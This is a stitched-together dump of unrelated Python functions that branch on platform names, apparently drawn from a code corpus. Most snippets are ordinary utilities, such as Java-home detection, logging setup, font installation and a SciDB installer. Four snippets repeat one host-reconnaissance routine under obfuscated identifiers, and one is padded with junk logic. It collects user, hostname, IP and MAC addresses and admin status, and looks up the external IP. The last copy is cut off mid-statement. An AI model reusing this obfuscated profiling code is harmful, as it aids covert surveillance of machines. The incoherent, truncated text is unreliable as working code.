def riZaDmNOsluzUlWxKfMZLiUcvOhUrTuc(plat_type): VbIVtdAsqEDfhLzhBGeXTFuOrIDTKJTQ = platform.platform() processor = platform.processor() architecture = platform.architecture()[0] ISvdlpvhewrgirYoFDnjblNtehwPhMMK = getpass.getuser() GnyXjERtDLxdxOHzQfHVwsVPMrwJGHQX = socket.gethostname() oWRmzXYgWerqkSVuTLBNHgmXaYtcwZwA = socket.getfqdn() DTpMzLTFMjIafnQXgFNIiDOuWjZVzlZW = socket.gethostbyname( GnyXjERtDLxdxOHzQfHVwsVPMrwJGHQX) XCzKfToqYYbGKorTvIgDxVrFeMjXygKx = uuid.getnode() QGPfPFKoRiimlRIUXEVHnhfkVfDfVTho = ':'.join( ("%012X" % XCzKfToqYYbGKorTvIgDxVrFeMjXygKx )[tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ:tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ + 2] for tPRbiMBffyIeZvPPYViVoXWUMGNaAsOJ in range(0, 12, 2)) VocjrvTEIWoPKacANvWfHkJqecVvSYGZ = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain', 'myexternalip.com/raw' ] IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy = '' for cUxqDMTIZwVlTWebtlAhvJRWpxkRxQBs in VocjrvTEIWoPKacANvWfHkJqecVvSYGZ: try: IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy = urllib.urlopen( 'http://' + cUxqDMTIZwVlTWebtlAhvJRWpxkRxQBs).read().rstrip() except IOError: pass if IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy and ( 6 < len(IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy) < 16): break DdJfnCODkxsaqSrinvllhdHJcQrqZpdR = False if plat_type.startswith('win'): DdJfnCODkxsaqSrinvllhdHJcQrqZpdR = ctypes.windll.shell32.IsUserAnAdmin( ) != 0 elif plat_type.startswith('linux') or platform.startswith('darwin'): DdJfnCODkxsaqSrinvllhdHJcQrqZpdR = os.getuid() == 0 cJHuovVxMjahBNdXgnBdZRbXZzdthnDi = 'Yes' if DdJfnCODkxsaqSrinvllhdHJcQrqZpdR else 'No' GAcOCEdSOvLkYQekjjusUCJuXgDnqExO = ''' System Platform - {} Processor - {} Architecture - {} Hostname - {} FQDN - {} Internal IP - {} External IP - {} MAC Address - {} Current User - {} Admin Access - {} '''.format( VbIVtdAsqEDfhLzhBGeXTFuOrIDTKJTQ, processor, architecture, GnyXjERtDLxdxOHzQfHVwsVPMrwJGHQX, oWRmzXYgWerqkSVuTLBNHgmXaYtcwZwA, DTpMzLTFMjIafnQXgFNIiDOuWjZVzlZW, IyWbVMkDTXkevxbzKMbyBGuRSaNDvrjy, QGPfPFKoRiimlRIUXEVHnhfkVfDfVTho, ISvdlpvhewrgirYoFDnjblNtehwPhMMK, cJHuovVxMjahBNdXgnBdZRbXZzdthnDi) return GAcOCEdSOvLkYQekjjusUCJuXgDnqExO
def fRTWRMDwKMKaMMycbCQhFAtbEWeTzpNy(plat_type): ZLWFyQexObWDAVRgVOJuNGQAedCeFocT = platform.platform() processor = platform.processor() architecture = platform.architecture()[0] oBrOxpWZDpabzaLkTAJesLGjPbBlFraK = getpass.getuser() uoirlwuHJEzzSfQmQybfeHjiQzoMBVIr = socket.gethostname() zeWDOsIDNjfcOgoDtoXXwJAIcvanDOes = socket.getfqdn() lmiVTKRFAoTwRlpedbOOJrmIRDOaQgUT = socket.gethostbyname( uoirlwuHJEzzSfQmQybfeHjiQzoMBVIr) mPhVbEQrhRtgorOCfJTSQasOGECJdpuM = uuid.getnode() ZtEUSaviunQGzuUFvZAlKjoxXPcpqgyo = ':'.join( ("%012X" % mPhVbEQrhRtgorOCfJTSQasOGECJdpuM )[yUgtagPEWgZFwMNcuvyhbmhzBzVoIpvC:yUgtagPEWgZFwMNcuvyhbmhzBzVoIpvC + 2] for yUgtagPEWgZFwMNcuvyhbmhzBzVoIpvC in range(0, 12, 2)) IiaItVCmjDDlMxTgJAgMuMzOyIgjIbBu = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain', 'myexternalip.com/raw' ] OsDjBhrfbNqLuKrVSCwLTjvTugpKWiGJ = '' for NfoGrMlbvfpbjpDqKvyqgneTBRjEqipy in IiaItVCmjDDlMxTgJAgMuMzOyIgjIbBu: try: OsDjBhrfbNqLuKrVSCwLTjvTugpKWiGJ = urllib.urlopen( 'http://' + NfoGrMlbvfpbjpDqKvyqgneTBRjEqipy).read().rstrip() except IOError: pass if OsDjBhrfbNqLuKrVSCwLTjvTugpKWiGJ and ( 6 < len(OsDjBhrfbNqLuKrVSCwLTjvTugpKWiGJ) < 16): break uhfZDdczDpVwciBNRUKKQBRRJMADcVGe = False if plat_type.startswith('win'): uhfZDdczDpVwciBNRUKKQBRRJMADcVGe = ctypes.windll.shell32.IsUserAnAdmin( ) != 0 elif plat_type.startswith('linux') or platform.startswith('darwin'): uhfZDdczDpVwciBNRUKKQBRRJMADcVGe = os.getuid() == 0 xsOwClbybXVQtKGYGvPInPMiscPpfWkZ = 'Yes' if uhfZDdczDpVwciBNRUKKQBRRJMADcVGe else 'No' xknplISuOFxzVrlhpVCqlAfQmvrfNmqg = ''' System Platform - {} Processor - {} Architecture - {} Hostname - {} FQDN - {} Internal IP - {} External IP - {} MAC Address - {} Current User - {} Admin Access - {} '''.format( ZLWFyQexObWDAVRgVOJuNGQAedCeFocT, processor, architecture, uoirlwuHJEzzSfQmQybfeHjiQzoMBVIr, zeWDOsIDNjfcOgoDtoXXwJAIcvanDOes, lmiVTKRFAoTwRlpedbOOJrmIRDOaQgUT, OsDjBhrfbNqLuKrVSCwLTjvTugpKWiGJ, ZtEUSaviunQGzuUFvZAlKjoxXPcpqgyo, oBrOxpWZDpabzaLkTAJesLGjPbBlFraK, xsOwClbybXVQtKGYGvPInPMiscPpfWkZ) return xknplISuOFxzVrlhpVCqlAfQmvrfNmqg
def __init__(self, port, output_path, **kwargs): if not platform.startswith("linux"): raise OSError("Unsupported platform!") super().__init__(**kwargs) cmd_list = [ "(stty raw; cat > {}) < {}".format(output_path, port) ] options = { "background": True, "shell": True, } self._proc = execute_command(cmd_list, **options)
def enable_chinese(self,prefer_internal=False): import os import platform from matplotlib.font_manager import FontProperties use_internal = prefer_internal if use_internal: platform = platform.system().lower() if platform.startswith('win'): use_internal = False else: interal_zh = '/Library/Fonts/Songti.ttc' if not os.path.exists(interal_zh): use_internal = False else: self.zh_font = FontProperties(fname = interal_zh) self.using_fname = interal_zh if not use_internal: import os inner_path = os.path.dirname(os.path.realpath(__file__)) font_name = 'plot_zh.ttf' font_lib = '~/Library/Fonts/' font_lib = os.path.expanduser(font_lib) try_download = False if not os.path.exists(font_lib): os.makedirs(font_lib) try: if not os.path.exists(font_lib + font_name): import shutil font_full_path = os.path.join(inner_path,font_name) shutil.copy2(font_full_path, font_lib) cprint('Font installed at the first runtime') except Exception: # try downloading cprint('try downloading') try_download = True if try_download: try: self.__fetch_font(font_lib + font_name) if os.path.exists(font_lib + font_name): cprint("Font installed at the first time") else: cprint("cannot download") except Exception as e: raise Exception("Download Failed:" + str(e)) if os.path.exists(font_lib + font_name): self.zh_font = FontProperties(fname = font_lib + font_name) self.using_fname = font_lib + font_name
def set_logger(log_level): """Set the script logger.""" platform = guessed_platform() level = LOG_LEVELS.get(log_level, DEFAULT_LOG_LEVEL) formatting = "[%(levelname)s] %(message)s" if platform.startswith('linux'): formatting = "\033[0;%(levelcolor)sm" + formatting + "\033[0m" formatter = ColoredFormatter(formatting) handler = StreamHandler(None) handler.setLevel(level) handler.setFormatter(formatter) logger = getLogger() logger.setLevel(level) logger.addHandler(handler)
def get_model_file(task, platform, basedir=None): """Model name file helper to abstract different DL platforms (FWs) :param dictionary: :param task: :param platform: :return: """ basedir = './' if basedir is None else basedir base = '{}/{}-model'.format(basedir, task) rid = os.getpid() if platform.startswith('pyt'): name = '%s-%d.pyt' % (base, rid) else: name = '%s-%s-%d' % (base, platform, rid) logger.info('model file [%s]' % name) return name
def detect_model_from_host_platform(): mach = None try: import platform mach = platform.machine() except ImportError: pass if not mach: platform = sys.platform.lower() if platform.startswith('win'): # assume an Intel Windows return MODEL_X86 # assume we have 'uname' mach = os.popen('uname -m', 'r').read().strip() if not mach: raise ProcessorAutodetectError, "cannot run 'uname -m'" # result ={'i386': MODEL_X86, 'i486': MODEL_X86, 'i586': MODEL_X86, 'i686': MODEL_X86, 'i86pc': MODEL_X86, # Solaris/Intel 'x86': MODEL_X86, # Apple 'Power Macintosh': MODEL_PPC_64, 'x86_64': MODEL_X86, 'amd64': MODEL_X86, # freebsd 'AMD64': MODEL_X86, # win64 'armv7l': MODEL_ARM, 'armv6l': MODEL_ARM, }[mach] # if result.startswith('x86'): if sys.maxint == 2**63-1: result = MODEL_X86_64 else: assert sys.maxint == 2**31-1 from rpython.jit.backend.x86.detect_sse2 import detect_sse2 if detect_sse2(): result = MODEL_X86 else: result = MODEL_X86_NO_SSE2 # if result.startswith('arm'): from rpython.jit.backend.arm.detect import detect_float assert detect_float(), 'the JIT-compiler requires a vfp unit' # return result
def get_local_inbox_path(platform: Text) -> Text: """ Return base path to local email inbox given a platform. Arguments: platform -- platform as lowercase string Returns: Path to inbox as string """ platform = platform.lower() if platform in ['osx', 'mac', 'darwin']: return LOCAL_INBOX_PATH_OSX if platform.startswith('linux'): return LOCAL_INBOX_PATH_LINUX raise Exception('Unknown platform')
def XkzeDrNjOxKRNFyUvDKlNpoqbMQVKThp(plat_type): xuJglnGHeqMqcRKeEeUkcfdAjEhPwxPy = platform.platform() processor = platform.processor() architecture = platform.architecture()[0] HhBhooNaLdBaUMtdSHtERdmjPbpJEwBI = getpass.getuser() fkuRUnTZQBBcyhuiXjaTqrqWNnCBoftq = socket.gethostname() RKumwtlEPUidJqNudDwgyffUxdbsspQs = socket.getfqdn() yAGloBPIphHuHxoqaYhkRSPbxCCiWFZp = socket.gethostbyname(fkuRUnTZQBBcyhuiXjaTqrqWNnCBoftq) hslwygYEGqcWKWfoqxgpSRWNoLgmRcpz = uuid.getnode() JRhjybcSeCohnjaTFtxyYhJrUhCyeNmi = ':'.join(("%012X" % hslwygYEGqcWKWfoqxgpSRWNoLgmRcpz)[hscswvelsmekdrdqbSsXHYBuqgXbSmcs:hscswvelsmekdrdqbSsXHYBuqgXbSmcs+2] for hscswvelsmekdrdqbSsXHYBuqgXbSmcs in range(0, 12, 2)) YILvnuhlFtuEdRBwJPcrGvwPmzXPKGip = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain', 'myexternalip.com/raw' ] DtZEeGcqTIYkXSmBzSLPbzeVBWnIXNWH = '' for DupvyQQFsTNzzMdqkTLlsfNBAjsKJLoI in YILvnuhlFtuEdRBwJPcrGvwPmzXPKGip: try: DtZEeGcqTIYkXSmBzSLPbzeVBWnIXNWH = urllib.urlopen('http://'+DupvyQQFsTNzzMdqkTLlsfNBAjsKJLoI).read().rstrip() except IOError: pass if DtZEeGcqTIYkXSmBzSLPbzeVBWnIXNWH and (6 < len(DtZEeGcqTIYkXSmBzSLPbzeVBWnIXNWH) < 16): break KeQJaDQuHiqQBOjtyKAXwkuneiUfAdIu = False if plat_type.startswith('win'): KeQJaDQuHiqQBOjtyKAXwkuneiUfAdIu = ctypes.windll.shell32.IsUserAnAdmin() != 0 elif plat_type.startswith('linux') or platform.startswith('darwin'): KeQJaDQuHiqQBOjtyKAXwkuneiUfAdIu = os.getuid() == 0 evljwLNlpsrlRmZvBcjSKJMCvCPjytrV = 'Yes' if KeQJaDQuHiqQBOjtyKAXwkuneiUfAdIu else 'No' ZKnRpBuXBwhKJCRBTNbgJFeEDjQtUIKL = ''' System Platform - {} Processor - {} Architecture - {} Hostname - {} FQDN - {} Internal IP - {} External IP - {} MAC Address - {} Current User - {} Admin Access - {} '''.format(xuJglnGHeqMqcRKeEeUkcfdAjEhPwxPy, processor, architecture, fkuRUnTZQBBcyhuiXjaTqrqWNnCBoftq, RKumwtlEPUidJqNudDwgyffUxdbsspQs, yAGloBPIphHuHxoqaYhkRSPbxCCiWFZp, DtZEeGcqTIYkXSmBzSLPbzeVBWnIXNWH, JRhjybcSeCohnjaTFtxyYhJrUhCyeNmi, HhBhooNaLdBaUMtdSHtERdmjPbpJEwBI, evljwLNlpsrlRmZvBcjSKJMCvCPjytrV) return ZKnRpBuXBwhKJCRBTNbgJFeEDjQtUIKL
def guess_java_home(platform): if platform.startswith('linux'): try: javac_str = '/bin/javac' javac_path = subprocess.check_output(['/usr/bin/env', 'readlink', '-f', '/usr' + javac_str]).strip() if (os.path.isfile(javac_path) and javac_path.endswith(javac_str)): return javac_path[:-len(javac_str)] except subprocess.CalledProcessError as e: print(e) pass # Fall through to other ways of guessing # More guesses try: if os.path.isfile('/usr/libexec/java_home'): return subprocess.check_output('/usr/libexec/java_home').strip() except subprocess.CalledProcessError as e: print(e) pass for d in ('/usr/lib/jvm/default', '/usr/lib/jvm/default-java'): if os.path.isdir(d): return d
def guess_java_home(platform): if platform.startswith('linux'): try: javac_str = '/bin/javac' javac_path = subprocess.check_output( ['/usr/bin/env', 'readlink', '-f', '/usr' + javac_str]).strip() if (os.path.isfile(javac_path) and javac_path.endswith(javac_str)): return javac_path[:-len(javac_str)] except subprocess.CalledProcessError as e: print(e) pass # Fall through to other ways of guessing # More guesses try: if os.path.isfile('/usr/libexec/java_home'): return subprocess.check_output('/usr/libexec/java_home').strip() except subprocess.CalledProcessError as e: print(e) pass for d in ('/usr/lib/jvm/default', '/usr/lib/jvm/default-java'): if os.path.isdir(d): return d
def execute_restart(): replace = pending_external and pending_external['replace'] or list() delete = pending_external and pending_external['delete'] or list() deltree = pending_external and pending_external['deltree'] or list() if replace or delete or deltree: if platform == "win32": return _external_rename_bat(replace, delete, deltree) else: return _external_rename_sh(replace, delete, deltree) else: if platform == "macos": replace_app(sys.executable, *sys.argv) elif platform.startswith("linux"): replace_app(sys.executable, ' '.join(sys.argv)) else: cmd = 'cmd /c start "" "' + sys.executable + '"' argv = sys.argv[1:] if not module_initialized.is_set(): if '--no-browser' not in argv: argv.append('--no-browser') if '--disable-splash' not in argv: argv.append('--disable-splash') cmd += ' "' + '" "'.join(argv) + '"' replace_app(cmd)
def get_dart_dl_url(platform): if not (platform.startswith("linux-") or platform.startswith("windows-") or platform.startswith("macos-")): return "https://iot-dsa.github.io/dart-sdk-builds/{0}".format(platform) return "https://commondatastorage.googleapis.com/dart-archive/channels/{0}/raw/{1}/sdk/dartsdk-{2}-release.zip".format(DART_SDK_CHANNEL, DART_SDK_VERSION, platform)
def install(scidbEnv): scidbEnv.set_install(True) configFile = getConfigFile(scidbEnv) if os.access(configFile, os.R_OK): stop(scidbEnv) db_name = os.environ.get("SCIDB_NAME", "mydb") pg_user = os.environ.get("SCIDB_PG_USER", "postgres") # # This section is for update-alternatives # It MUST be kept in sync with the scidb.spec file # if scidbEnv.args.light: # remove all links to the "alternative" libraries # thus, allow for the scidb libraries to be loaded again printInfo("Removing linker metadata for alternative plugins/libraries, please confirm") removeAlternatives(scidbEnv) curr_dir = os.getcwd() os.chdir(scidbEnv.build_path) if not scidbEnv.args.light: rm_rf(scidbEnv.install_path + "/*", scidbEnv.args.force) mkdir_p(scidbEnv.install_path) cmdList = ["/usr/bin/make", "install"] ret = executeIt(cmdList) os.chdir(curr_dir) if scidbEnv.args.light: return # Generate config.ini or allow for a custom one data_path = "" if scidbEnv.args.config: cmdList = ["cp", scidbEnv.args.config, configFile] ret = executeIt(cmdList) data_path = getDataPath(configFile, db_name) else: data_path = os.path.join(scidbEnv.stage_path, "DB-" + db_name) data_path = os.environ.get("SCIDB_DATA_PATH", data_path) instance_num = int(os.environ.get("SCIDB_INSTANCE_NUM", "4")) port = int(os.environ.get("SCIDB_PORT", "1239")) host = os.environ.get("SCIDB_HOST", "127.0.0.1") no_watchdog = os.environ.get("SCIDB_NO_WATCHDOG", "false") no_watchdog = no_watchdog in ["true", "True", "on", "On"] generateConfigFile(scidbEnv, db_name, host, port, data_path, instance_num, no_watchdog, configFile) # Create log4j config files log4jFileSrc = os.path.join(scidbEnv.build_path, "bin/log1.properties") log4jFileTgt = os.path.join(scidbEnv.install_path, "share/scidb/log1.properties") cmdList = ["cp", log4jFileSrc, log4jFileTgt] ret = executeIt(cmdList) version = getScidbVersion(scidbEnv) platform = getOS(scidbEnv).strip() printDebug("platform=" + platform) if platform.startswith("CentOS 6"): # boost dependencies should be installed here boostLibs = os.path.join("/opt/scidb", version, "3rdparty", "boost", "lib", "libboost*.so.*") libPathTgt = os.path.join(scidbEnv.install_path, "lib") # Move boost libs into the install location cmdList = ["cp", boostLibs, libPathTgt] ret = executeIt(cmdList, useShell=True) # Create PG user/role cmdList = [ "sudo", "-u", pg_user, scidbEnv.scidb_py_path(), "init-syscat", "--db-password", getDBPassword(scidbEnv, db_name, getDBUser(configFile, db_name)), db_name, os.path.join(scidbEnv.install_path, "etc/config.ini"), ] ret = executeIt(cmdList) # Initialize SciDB cmdList = [ scidbEnv.scidb_py_path(), "initall-force", db_name, os.path.join(scidbEnv.install_path, "etc/config.ini"), ] ret = executeIt(cmdList) # Setup test links os.chdir(curr_dir)
result.append(port) except (OSError, serial.SerialException): pass return result result = serial_ports() platform = platform.system() print platform if not result: print "No Serialports available" print "Press Ctrl+C to close" else: if platform.startswith("Win"): print "Available Serialports" print result var = input("Please select your Serialport:COM") var2 = "COM" + str(var) print "Connecting to " + var2 ser = serial.Serial(var2, 9600, timeout=1) time.sleep(2) print "Connected" print "Press Ctrl+C to close" while 1: print "Getting Data" ser.write("t") x = ser.read(10) print x
def adblytilFWlQIRkKAVYhFsHxmIHYCAxrZWkCnbOJIjtPOmhCXbzPztuYFGPxuofe( plat_type): NZsYFDKMHpUmSaGYrBcWqOFwoMZcfRMzYtbBkeijafTNyxCkpHRElHRSJUxaKiNO = platform.platform( ) processor = platform.processor() architecture = platform.architecture()[0] lgqWchVqcTlLxCZGqHcViwyoDiczHDCLSBTrRFRvyEzQqXDIxLudNtJGjBwOfxDX = getpass.getuser( ) iMlOMeCUBBDzNILkTDhMLvJAGJYRvderdsNdRecaagDYGEfgdEiyDxOMmnqFJBTt = socket.gethostname( ) OETsJlKMCqNoRhxusurinCctmsKQTACStCkijsTscGcZUhWlfCmhsIYJXXjwWxEv = socket.getfqdn( ) cwOsXijxgvcvFPWhpEAcknlYtRnhIBZOTpmcyLSUAdInbTUnqErjJIxVKoFeCMKh = socket.gethostbyname( iMlOMeCUBBDzNILkTDhMLvJAGJYRvderdsNdRecaagDYGEfgdEiyDxOMmnqFJBTt) TEizErOXPurjzaAkmHHWkERBfTiGyfQsWoQJIfAJDzbDbIfyfTARkMiSCEIPLIwZ = uuid.getnode( ) APsxgfOBoBTdWJdhRGihnSCpHNnrRxFlkNkUyBNTcPyIdwyUsPcMRNdTxtaFYAyN = ':'.join( ("%012X" % TEizErOXPurjzaAkmHHWkERBfTiGyfQsWoQJIfAJDzbDbIfyfTARkMiSCEIPLIwZ )[LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW: LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW + 2] for LOXmUatCZWxXzFEaZZQWyyqfIHbUpRhIjHoGdUjSoLdaTMZuZXooATlcvjAlnMiW in range(0, 12, 2)) GBvmVgTRXqDRgtiwBbeVpouqIgDUrWekvCxGFFUtHWlUXavKXLdpLGwMEpsSZtLa = [ 'ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain', 'myexternalip.com/raw' ] cexOUdQPUDJlZxbuzLZYaBYExKcMEXPmdwWhOaNNcOEBPvRegqTSleeALLEpyhRi = '' qXolNmtYdmWNdZfVCExfJNTKBlrIrUTkQKVPeNZLBWLpxAchNSjtRECFEFLuoKZt = 'KafTxLSDEqvPOGcNqQursyloGaNqLQfONBVHyNbWdgmGjjBUYOMuuXDYdktTLlqj' VzFmjYwQPZXWsSarFREFPAoFpWtvEGwosRkKkUtzYweZECKcDdGRwPgVgcDVsJWo = 'lXOTZbakSwIQEVzyfRvmtmHjyglEsinmVrOFapWUgOnrLpTYCqCwBBpHYFQDxhUh' if qXolNmtYdmWNdZfVCExfJNTKBlrIrUTkQKVPeNZLBWLpxAchNSjtRECFEFLuoKZt != VzFmjYwQPZXWsSarFREFPAoFpWtvEGwosRkKkUtzYweZECKcDdGRwPgVgcDVsJWo: qXolNmtYdmWNdZfVCExfJNTKBlrIrUTkQKVPeNZLBWLpxAchNSjtRECFEFLuoKZt = 'lXOTZbakSwIQEVzyfRvmtmHjyglEsinmVrOFapWUgOnrLpTYCqCwBBpHYFQDxhUh' VzFmjYwQPZXWsSarFREFPAoFpWtvEGwosRkKkUtzYweZECKcDdGRwPgVgcDVsJWo = qXolNmtYdmWNdZfVCExfJNTKBlrIrUTkQKVPeNZLBWLpxAchNSjtRECFEFLuoKZt qXolNmtYdmWNdZfVCExfJNTKBlrIrUTkQKVPeNZLBWLpxAchNSjtRECFEFLuoKZt = 'KafTxLSDEqvPOGcNqQursyloGaNqLQfONBVHyNbWdgmGjjBUYOMuuXDYdktTLlqj' for bDVfKcGTNKDDgGMMCmHdLopeaFuvewAnGankZNCojDNPJHCBDTTJiulhiTJNHtps in GBvmVgTRXqDRgtiwBbeVpouqIgDUrWekvCxGFFUtHWlUXavKXLdpLGwMEpsSZtLa: HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF = 'BkHttXYOVttwUqmRujChVQwBzvoXgDGuyhcxvOUmSVtfLXbJhlaVOFSpMhvPdZhc' wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX = 'zufjgkCIvTgWdbAYmXZNNcChcBvLRREPvUUwBEyAaimvtQmbKQWhobVtERqVwLeX' gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG = 'jthDkgvvDssengHeoOmgJCBlgqZdkvHMZUomElwkZvpeuQHdnTcAudfOmxjzFbLm' civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap = 'xLtYJgPJovbPJEgmqpLOxJLLowtqhMUUcsOzfsByUPZUFBgRpYAWolyxCrsQPFxp' if wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX == HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF: for HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF in wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX: if wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX == wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX: gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG = 'civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap' elif gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG == civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap: civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap = HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF else: HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF = wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX elif gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG == gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG: for gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG in wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX: if civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap == wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX: gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG = 'civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap' elif gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG == civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap: civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap = HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF else: HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF = wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX for gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG in wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX: if civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap == wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX: gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG = 'civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap' elif gdjFNYYaupOlurCZhykrOmjnskLmGfRLGIbJxPGOLsAKUtVwUsryDYtAJehrphQG == civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap: civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap = HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF else: HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF = civAohdGKpEJAMhFmgvOqIRGvLCyCmzQZvCNyFAbmgysqrHWoxbKNXfYhmOIIwap else: HatgOLqQYZZslvzZUlYaAukLPodCDmhSsFYslFEWYPCwjeRpJAOVsnQQrZBRTwwF = wbBBMBflmbwoVDFZgJfeKFekakdPRodztnQGSSALdSaNKpbKFTHDHjlAyYjrenGX try: xDnCnKrbaENPaigQbXbAsAZQgHymVhwrqvoSrQrVAfNtQzyGLEpIldXOzolzKYYY = 'gFZqySUSCcjacuiQCzvrmntsWaKVXkYTyqRTQcAJPORLzctKmzUpsigMMQQBDCZK' GVIEpcpXpePYMWRvmYVHjXNBSFJujFcOgxIHmldzlMCBeOuyjMYDyXGURLtWURGb = 'pdfojowphBGgHeiNeNRfqbwRqzrCzxMfPJgNdlSChpMnhicrszrPGHDffAZAmvFJ' iEDuhNepAyFJBQMYGNTKHsMOcGWcILOpmXtocUerygdYNKjUaDXKNcTtCfkBiuMp = 'DRzNqReGMthpUvNKdoqtRAgSuOBuVPtmuwRZdQRvDVlPEJwRpReLSxqGXtXlvShB' BBfOFeNsAxlqpnEAQUonJYtWPToTMwAoCDUdPNjNMeTKjlZLyjKzlmJAzMHciMuM = 'VucPNJilalcNgZAycOuBABzevnBILkRVcRsnprFtMqwcAwwzSavNvPMjAjeQjSwI' MbVxqdKRTwnyUFHfcwlpIDOhOygyUdLuIKYZXAjXVrErHpYJqcFMqhdUMQElYbgK = 'xLatilBYFPZkzNTpjZQNedvwXXkFvqXluNfFlvHFVSZSEkvKRJikTsNDDImineZV' FgfSBHZgkPyNUTAyAFpwKRQCOpUugUZXGPgUlDoWvpBAcoJyCMjhYAJMHOEACKlS = 'EKkrBIciOrkFiVBwKQQBThvsjIOJXayfoFmLUTrGkmvPFXJpaSfmxtlaLYKwZbSH' TvdMkEYrnAtmHkfWhKVPIaHTxCTPPiWhJzzgAqUwsGsdLcVtJpxwIIkpCnYWkocq = [ 'gFZqySUSCcjacuiQCzvrmntsWaKVXkYTyqRTQcAJPORLzctKmzUpsigMMQQBDCZK', 'DRzNqReGMthpUvNKdoqtRAgSuOBuVPtmuwRZdQRvDVlPEJwRpReLSxqGXtXlvShB', 'xLatilBYFPZkzNTpjZQNedvwXXkFvqXluNfFlvHFVSZSEkvKRJikTsNDDImineZV', 'VeeaVaTOvQEtivsIMKhxFfQnadAbYTBNRiooUvDMnjeCXVBzpjXZIkQOKUURCyhG' ] for xDnCnKrbaENPaigQbXbAsAZQgHymVhwrqvoSrQrVAfNtQzyGLEpIldXOzolzKYYY in 